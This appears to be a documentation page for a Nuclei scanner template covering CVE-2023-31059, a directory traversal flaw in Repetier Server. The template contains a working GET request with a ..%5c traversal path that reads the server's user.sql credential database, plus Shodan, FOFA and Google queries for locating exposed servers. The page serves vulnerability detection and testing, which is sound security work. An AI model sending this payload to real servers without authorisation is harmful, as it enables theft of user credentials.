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Repetier Server - Directory Traversal

ID: CVE-2023-31059

Severity: high

Author: parthmalhotra,pdresearch

Tags: cve2023,cve,repetier,lfi,repetier-server

Description

Section titled “Description”

Repetier Server through 1.4.10 allows ..%5c directory traversal for reading files that contain credentials, as demonstrated by connectionLost.php.

YAML Source

Section titled “YAML Source”
id: CVE-2023-31059


info:
  name: Repetier Server - Directory Traversal
  author: parthmalhotra,pdresearch
  severity: high
  description: |
    Repetier Server through 1.4.10 allows ..%5c directory traversal for reading files that contain credentials, as demonstrated by connectionLost.php.
  impact: |
    An attacker can read, modify, or delete arbitrary files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in Repetier Server.
  reference:
    - https://cybir.com/2023/cve/poc-repetier-server-140/
    - https://www.repetier-server.com/download-repetier-server/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-31059
    cwe-id: CWE-22
    epss-score: 0.00878
    epss-percentile: 0.8245
    cpe: cpe:2.3:a:repetier-server:repetier-server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: repetier-server
    product: repetier-server
    shodan-query:
      - title:"Repetier-Server"
      - http.title:"repetier-server"
    fofa-query:
      - title="Repetier-Server"
      - title="repetier-server"
    google-query: intitle:"repetier-server"
  tags: cve2023,cve,repetier,lfi,repetier-server


http:
  - method: GET
    path:
      - "{{BaseURL}}/views..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cProgramData%5cRepetier-Server%5cdatabase%5cuser.sql%20/base/connectionLost.php"


    matchers-condition: and
    matchers:
      - type: binary
        part: body
        binary:
          - 53514C69746520666F726D6174203300


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b294f9e8bb473a0f757f879a0c3b62885f0e604ca161845e9f761b29782621b802203025c1851193dc5fd528b8623a701d061ca7adb84bfcadd2081f7183ab5a43e9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-31059.yaml"

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